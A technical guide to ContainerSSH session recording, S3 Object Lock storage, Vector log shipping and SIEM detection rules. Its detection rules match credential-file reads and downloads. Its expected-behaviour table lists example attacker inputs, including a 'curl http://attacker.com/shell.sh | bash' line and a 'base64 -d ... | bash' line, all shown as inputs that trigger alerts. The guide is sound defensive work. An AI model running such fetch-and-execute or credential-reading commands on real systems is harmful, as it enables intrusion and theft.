ContainerSSH Audit Logging: Session Recording, S3 Export, and SIEM Integration
Problem
Traditional SSH audit logging captures connection metadata: who connected, when, from which IP address. What it does not capture is session content — the commands the user typed, the output returned, or the files they read. When an incident involves SSH access, metadata alone is insufficient. You know the session happened, but you cannot reconstruct what the attacker did inside it.
Conventional session recording solutions (CyberArk Privileged Session Manager, Teleport, BeyondTrust) are purpose-built but heavyweight: they require separate infrastructure, separate access policies, and often a separate agent on every target host. ContainerSSH’s audit subsystem is built into the SSH gateway itself. Every session — every keystroke, every line of output, every PTY resize event — is recorded in a structured binary format and can be exported to S3-compatible storage without additional infrastructure.
The specific gaps this addresses:
- Invisible insider activity. An insider copies the contents of
/etc/passwdto the terminal, reads the output, and closes the session. Syslog shows onlysshd: session opened for user alice. ContainerSSH’s audit log shows every line of output. - Stolen credential intrusion. An attacker authenticates successfully with stolen credentials. The authentication succeeds — there is no alert. Without session recording, their subsequent actions inside the container are invisible. The audit log captures every command they ran.
- Compliance requirements for privileged access recording. PCI-DSS Requirement 10.2 and SOC 2 CC6.8 require evidence that privileged access is recorded. ContainerSSH’s session recordings, stored in immutable S3 storage, satisfy this requirement without a separate privileged access management (PAM) deployment.
Target systems: ContainerSSH 0.5+ and 0.6+, S3-compatible storage (AWS S3, MinIO, GCS), any SIEM that accepts JSON over HTTP or via a log shipper.
Threat Model
-
Adversary 1 — Credential theft and lateral movement: An attacker obtains SSH credentials via phishing or a leaked secret. They authenticate successfully and use the session to explore the container filesystem, read application secrets, and attempt lateral movement. Without session recording, there is no forensic record of what they accessed.
-
Adversary 2 — Insider data exfiltration: A developer with legitimate SSH access cats configuration files containing database passwords, copies them to a local clipboard, and disconnects. The data never leaves the container via a network connection, so DLP tools that inspect network egress see nothing. Session recording captures the full terminal output, including the secret values displayed.
-
Adversary 3 — Compliance audit failure: An auditor requests evidence that all privileged SSH sessions to production containers were recorded during the prior quarter. Without a reliable audit log pipeline, the organisation cannot produce this evidence. ContainerSSH’s audit log pipeline, combined with S3 Object Lock, provides tamper-proof evidence of all sessions.
-
Adversary 4 — Audit log tampering: An attacker who has compromised the ContainerSSH host deletes or modifies audit log files before they are shipped to S3. Without WORM storage, the audit trail is not trustworthy. S3 Object Lock (governance or compliance mode) prevents deletion or modification for the lock retention period.
-
Access level: Adversaries 1 and 2 have valid SSH credentials. Adversary 3 is a legitimate auditor with no session recordings to review. Adversary 4 has host-level access after compromise.
-
Objective: Eliminate the visibility gap inside SSH sessions; ensure the audit trail is tamper-proof and available for forensic replay.
Configuration
Step 1: Enable Audit Logging in ContainerSSH
ContainerSSH’s audit configuration lives in the top-level audit section of config.yaml. The minimal configuration enables binary audit logging to a local directory as a fallback, with S3 as the primary export target:
# config.yaml — ContainerSSH 0.5+ audit configuration.
audit:
enable: true
# Format: binary (ContainerSSH's native format, smaller) or
# asciicast (asciinema v2, human-readable, directly replayable).
# Binary is recommended for production: smaller, faster writes.
# Convert to asciicast on demand for replay using containerssh-auditlog-tool.
format: binary
# Storage: write to S3. Local fallback is configured below.
storage: s3
s3:
region: us-east-1
bucket: audit-logs-prod
# Prefix: organise by date for lifecycle rules.
# {year}/{month}/{day}/{sessionId} — e.g. 2026/05/09/sess-abc123
prefix: "containerssh/{year}/{month}/{day}/"
# IAM role via IRSA (EKS) or Workload Identity (GKE).
# No static credentials: the pod's service account is mapped to the IAM role.
# Ensure the service account annotation is set on the ContainerSSH pod.
# Local fallback: write sessions to disk if S3 upload fails.
# This prevents data loss during transient S3 outages.
# A background process should ship these to S3 when connectivity returns.
local:
path: /var/lib/containerssh/audit
The prefix field uses ContainerSSH’s built-in template variables. Using date-based prefixes is essential for S3 lifecycle rules — you cannot apply lifecycle transitions to per-session keys without a predictable prefix structure.
Step 2: IAM Role for S3 Audit Log Writes
ContainerSSH should write audit logs using a least-privilege IAM role. The role needs write access to the audit bucket but must not be able to delete objects (Object Lock handles retention):
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AuditLogWrite",
"Effect": "Allow",
"Action": [
"s3:PutObject"
],
"Resource": "arn:aws:s3:::audit-logs-prod/containerssh/*"
},
{
"Sid": "AuditLogList",
"Effect": "Allow",
"Action": [
"s3:ListBucket"
],
"Resource": "arn:aws:s3:::audit-logs-prod",
"Condition": {
"StringLike": {
"s3:prefix": ["containerssh/*"]
}
}
}
]
}
Note: s3:DeleteObject and s3:PutObjectLegalHold are intentionally excluded. The ContainerSSH process cannot tamper with or delete audit logs it has written.
On EKS, annotate the service account:
# containerssh-serviceaccount.yaml
apiVersion: v1
kind: ServiceAccount
metadata:
name: containerssh
namespace: containerssh
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::123456789012:role/containerssh-audit-writer
Step 3: S3 Bucket: Object Lock and Lifecycle Rules
Enable S3 Object Lock in compliance mode on the audit bucket. Compliance mode prevents the lock from being shortened or removed even by the root account — this is what satisfies PCI-DSS and SOC 2 evidence requirements:
# Create bucket with Object Lock enabled.
# Object Lock must be enabled at bucket creation — it cannot be added later.
aws s3api create-bucket \
--bucket audit-logs-prod \
--region us-east-1 \
--object-lock-enabled-for-bucket
# Set default retention: compliance mode, 365 days.
aws s3api put-object-lock-configuration \
--bucket audit-logs-prod \
--object-lock-configuration '{
"ObjectLockEnabled": "Enabled",
"Rule": {
"DefaultRetention": {
"Mode": "COMPLIANCE",
"Days": 365
}
}
}'
Apply lifecycle rules to transition older objects to cheaper storage tiers:
{
"Rules": [
{
"ID": "audit-log-hot-tier",
"Status": "Enabled",
"Filter": {"Prefix": "containerssh/"},
"Transitions": [
{
"Days": 90,
"StorageClass": "STANDARD_IA"
},
{
"Days": 365,
"StorageClass": "GLACIER"
}
]
}
]
}
This keeps the last 90 days in S3 Standard (fast access for recent incident response), transitions to Standard-IA at 90 days (cheaper; you’re less likely to need a session from three months ago), and moves to Glacier at one year (compliance archive only).
Step 4: Audit Log Event Structure
ContainerSSH’s binary audit log contains a sequence of typed events for each session. Understanding the event structure is essential for SIEM integration and detection rule writing:
| Event type | Fields | Meaning |
|---|---|---|
connect |
sessionId, remoteAddr, country, timestamp |
TCP connection established |
authRequest |
sessionId, username, authMethod, success |
Authentication attempt (password or public key) |
pty |
sessionId, columns, rows, termType |
PTY allocated; interactive session starting |
stdin |
sessionId, data (base64), timestamp |
Keystrokes from the user |
stdout |
sessionId, data (base64), timestamp |
Terminal output to the user |
disconnect |
sessionId, exitCode, duration |
Session ended; exit code from container |
exec |
sessionId, command |
Non-interactive command execution |
The stdin stream, when decoded, contains the raw keystrokes including control characters. For forensic analysis, exec events (non-interactive ssh host command) are the clearest signal — the command is recorded verbatim without needing to parse terminal escape sequences.
Step 5: Replaying a Session
ContainerSSH ships containerssh-auditlog-tool for working with binary audit logs. To replay a session given a session ID:
# Step 1: Download the audit log from S3.
# The session ID is the filename under the date-based prefix.
aws s3 cp \
s3://audit-logs-prod/containerssh/2026/05/09/sess-abc1234567890 \
/tmp/sess-abc1234567890.bin
# Step 2: Convert binary audit log to asciicast v2 format.
containerssh-auditlog-tool \
--input /tmp/sess-abc1234567890.bin \
--output /tmp/sess-abc1234567890.cast \
--format asciicast
# Step 3: Replay the session in the terminal.
# Adjust speed with --speed: 1.0 is real-time, 2.0 is 2x speed.
asciinema play --speed 1.0 /tmp/sess-abc1234567890.cast
# Alternatively: extract stdin/stdout as plain text for diff or grep.
containerssh-auditlog-tool \
--input /tmp/sess-abc1234567890.bin \
--output /tmp/sess-abc1234567890.txt \
--format text
The text output is useful for automated analysis: grep for commands, search for filenames, or pipe into a detection script without needing to parse terminal escape sequences.
Step 6: Shipping Audit Events to a SIEM
ContainerSSH emits audit events over a webhook in addition to writing session recordings to storage. Configure the webhook target to ship structured JSON events to your SIEM pipeline in real time:
# config.yaml — webhook audit event shipping.
audit:
enable: true
format: binary
storage: s3
# ... S3 config above ...
# Webhook: emit JSON audit events to a log shipper in real time.
# This is separate from the session recording; events are emitted
# as they happen rather than after session close.
intercept:
stdin: true # Record user input (keystrokes).
stdout: true # Record terminal output.
stderr: true # Record stderr from container.
passwords: false # Never record password field values.
Configure Vector as the log shipper to receive webhook events and forward to Elasticsearch or Splunk:
# vector.yaml — ContainerSSH audit event pipeline.
sources:
containerssh_audit:
type: http_server
address: "0.0.0.0:8080"
encoding:
codec: json
transforms:
enrich_audit:
type: remap
inputs: ["containerssh_audit"]
source: |
# Normalise event: ensure sessionId and username always present.
.sessionId = string!(.sessionId)
.username = string(.username) ?? "unknown"
.remoteAddr = string!(.remoteAddr)
.eventType = string!(.type)
.timestamp = now()
# Decode stdin data from base64 for SIEM indexing.
if .eventType == "stdin" {
.stdinDecoded = decode_base64!(.data)
}
# Decode stdout data — may be large; truncate for SIEM, full data is in S3.
if .eventType == "stdout" {
raw = decode_base64!(.data)
.stdoutPreview = slice!(raw, 0, 2048)
.stdoutBytes = length(raw)
}
sinks:
elasticsearch:
type: elasticsearch
inputs: ["enrich_audit"]
endpoints: ["https://elasticsearch:9200"]
index: "containerssh-audit-%Y.%m.%d"
auth:
strategy: basic
user: "${ELASTICSEARCH_USER}"
password: "${ELASTICSEARCH_PASSWORD}"
tls:
verify_certificate: true
For Splunk, replace the elasticsearch sink with a splunk_hec_logs sink pointing at your HEC endpoint.
Step 7: SIEM Detection Rules
Write detection rules on the decoded stdinDecoded field to catch high-risk commands in real time. The following examples use Elasticsearch Query DSL for use with Kibana alerting or Elastic SIEM:
Privilege escalation attempt (sudo):
{
"query": {
"bool": {
"must": [
{"term": {"eventType": "stdin"}},
{"match_phrase": {"stdinDecoded": "sudo"}}
]
}
}
}
External download attempt (curl or wget):
{
"query": {
"bool": {
"must": [
{"term": {"eventType": "stdin"}},
{"bool": {
"should": [
{"match_phrase": {"stdinDecoded": "curl "}},
{"match_phrase": {"stdinDecoded": "wget "}}
]
}}
]
}
}
}
Credential file access:
{
"query": {
"bool": {
"must": [
{"term": {"eventType": "stdin"}},
{"bool": {
"should": [
{"match_phrase": {"stdinDecoded": "/etc/passwd"}},
{"match_phrase": {"stdinDecoded": "/etc/shadow"}},
{"match_phrase": {"stdinDecoded": "/.ssh/"}},
{"match_phrase": {"stdinDecoded": "id_rsa"}}
]
}}
]
}
}
}
Large stdout volume (data exfiltration indicator):
{
"query": {
"bool": {
"must": [
{"term": {"eventType": "stdout"}},
{"range": {"stdoutBytes": {"gte": 1048576}}}
]
}
}
}
Base64 decode (obfuscated payload execution):
{
"query": {
"bool": {
"must": [
{"term": {"eventType": "stdin"}},
{"match_phrase": {"stdinDecoded": "base64 -d"}}
]
}
}
}
For each rule, configure the alert to include the sessionId field in the notification. This links the SIEM alert directly to the full session recording in S3, enabling one-click pivot from alert to forensic replay.
Step 8: Incident Response Workflow
When a SIEM alert fires on a ContainerSSH session event, the incident response workflow is:
- Retrieve the session ID from the alert payload:
sessionId: sess-abc1234567890. - Determine the session date from the alert timestamp:
2026-05-09. - Download the audit log from S3:
aws s3 cp \ s3://audit-logs-prod/containerssh/2026/05/09/sess-abc1234567890 \ /tmp/sess-abc1234567890.bin - Convert and replay:
containerssh-auditlog-tool \ --input /tmp/sess-abc1234567890.bin \ --output /tmp/sess-abc1234567890.cast \ --format asciicast asciinema play --speed 2.0 /tmp/sess-abc1234567890.cast - Extract text for automated analysis — grep for filenames accessed, commands run, or data patterns:
containerssh-auditlog-tool \ --input /tmp/sess-abc1234567890.bin \ --output - \ --format text | grep -E '(passwd|shadow|id_rsa|\.env|SECRET)' - Verify integrity. Check that the S3 object’s ETag matches the recorded hash (if ContainerSSH emits one at session close) and that the object’s Object Lock hold is intact:
aws s3api head-object \ --bucket audit-logs-prod \ --key containerssh/2026/05/09/sess-abc1234567890 \ --query '[ObjectLockMode, ObjectLockRetainUntilDate]'
Step 9: Telemetry
containerssh_audit_sessions_total{username, backend} counter
containerssh_audit_upload_failures_total{reason} counter
containerssh_audit_session_duration_seconds{username} histogram
containerssh_audit_stdout_bytes_total{sessionId} counter
containerssh_audit_local_fallback_queue_depth gauge
Alert on:
containerssh_audit_upload_failures_totalnon-zero — S3 uploads are failing; session recordings may be lost if the local fallback fills up.containerssh_audit_local_fallback_queue_depthabove threshold — local disk is accumulating unshipped audit logs; S3 connectivity issue or IAM permission problem.- Large
containerssh_audit_stdout_bytes_totalfor a single session — potential data exfiltration via terminal output; correlate with SIEM alert.
Expected Behaviour
| Session event | Audit record fields | SIEM event | Alert triggered |
|---|---|---|---|
| User connects from 203.0.113.42 | connect: sessionId, remoteAddr=203.0.113.42, timestamp |
JSON event indexed in containerssh-audit-* |
No (connection only) |
User authenticates as alice |
authRequest: username=alice, method=publickey, success=true |
Auth event with username and method | No (successful auth; alert on failure bursts) |
User runs sudo bash |
stdin: stdinDecoded=“sudo bash\r” |
stdin event; stdinDecoded matches sudo rule | Yes — privilege escalation alert with sessionId |
User cats /etc/shadow |
stdin: stdinDecoded=“cat /etc/shadow\r” |
stdin event; stdinDecoded matches credential file pattern | Yes — credential access alert |
| Large file output (>1 MB) | stdout: stdoutBytes=4194304 |
stdout event; stdoutBytes ≥ 1 MB threshold | Yes — potential data exfiltration alert |
User runs curl http://attacker.com/shell.sh | bash |
stdin: stdinDecoded contains "curl " |
stdin event; stdinDecoded matches external download rule | Yes — external download + pipe to bash alert |
User runs base64 -d payload.b64 | bash |
stdin: stdinDecoded contains “base64 -d” |
stdin event; stdinDecoded matches obfuscation pattern | Yes — obfuscated execution alert |
| User disconnects | disconnect: exitCode=0, duration=342s |
Disconnect event closes session record in SIEM | No (normal exit) |
| Session recording uploaded to S3 | Object created at containerssh/{date}/{sessionId} |
— | Alert if upload does not appear within N seconds of disconnect |
Trade-offs
| Dimension | Option A | Option B | Storage cost | Forensic completeness | Recommendation |
|---|---|---|---|---|---|
| Recording scope | Full session (stdin + stdout) | Command-only (stdin only) | Higher (stdout is 10-100x stdin volume) | Full: replay shows exactly what the user saw | Full recording for production PAM; command-only for high-volume dev environments |
| Audit log format | Binary (ContainerSSH native) | Asciicast v2 | Binary is 30-50% smaller | Both are complete; asciicast is directly replayable without conversion | Binary for storage; convert to asciicast on demand for replay |
| Storage backend | S3 (remote, durable) | Local filesystem | S3: pay per GB stored + requests; local: disk cost only | Both complete while disk is available; S3 survives host compromise | S3 primary with local fallback |
| Event shipping | Real-time webhook streaming | Upload-on-disconnect batch | Streaming uses more network bandwidth | Streaming enables real-time detection; batch delays detection until session closes | Stream events for detection; store full recording for forensics |
| S3 Object Lock mode | Compliance mode (immutable) | Governance mode (admins can delete) | No storage cost difference | Compliance mode: satisfies PCI-DSS/SOC 2; governance mode: can be unlocked | Compliance mode for regulated environments; governance mode for dev |
Failure Modes
| Failure | Symptom | Detection | Recovery |
|---|---|---|---|
| S3 upload fails (network or IAM error) | Session recording not written to S3; local fallback fills up | containerssh_audit_upload_failures_total non-zero; local fallback queue depth rising |
Fix IAM permissions or network; deploy a resync job to upload queued local files to S3 |
| SIEM ingestion lag | Detection alerts delayed by minutes to hours; live session threat response window missed | Vector/Fluentd queue depth metric; Elasticsearch ingest lag alert | Increase shipper throughput; reduce batch interval; alert on queue depth not draining |
| Audit log tampered before S3 upload | Local audit log modified or deleted by attacker with host access | Hash mismatch between local log and S3 object (if ContainerSSH emits hash); gap in session sequence | Rely on real-time webhook stream to SIEM (in-flight events are harder to suppress); use Object Lock to protect S3 copy |
| Large session overwhelming local storage quota | Local disk fills; new session recordings cannot be written; data loss | Disk utilisation alert on ContainerSSH host | Increase local storage allocation; add monitoring on local fallback queue; throttle session concurrency |
| sessionId collision (two sessions assigned same ID) | Second session’s audit log overwrites first in S3 | Unexpected overwrite of an existing S3 object (S3 versioning or access log alert) | Enable S3 versioning in addition to Object Lock; ContainerSSH generates sessionIds from a CSPRNG making collisions extremely unlikely but not impossible |
| asciicast conversion failure | containerssh-auditlog-tool returns error; session cannot be replayed |
Manual conversion attempt during incident response | Fall back to text extraction mode (--format text); file a ContainerSSH issue with the binary log sample |
| Binary audit log format version mismatch | containerssh-auditlog-tool built from older ContainerSSH version cannot parse newer format |
Tool returns parse error | Always use the same version of containerssh-auditlog-tool as the ContainerSSH server that produced the log; pin versions |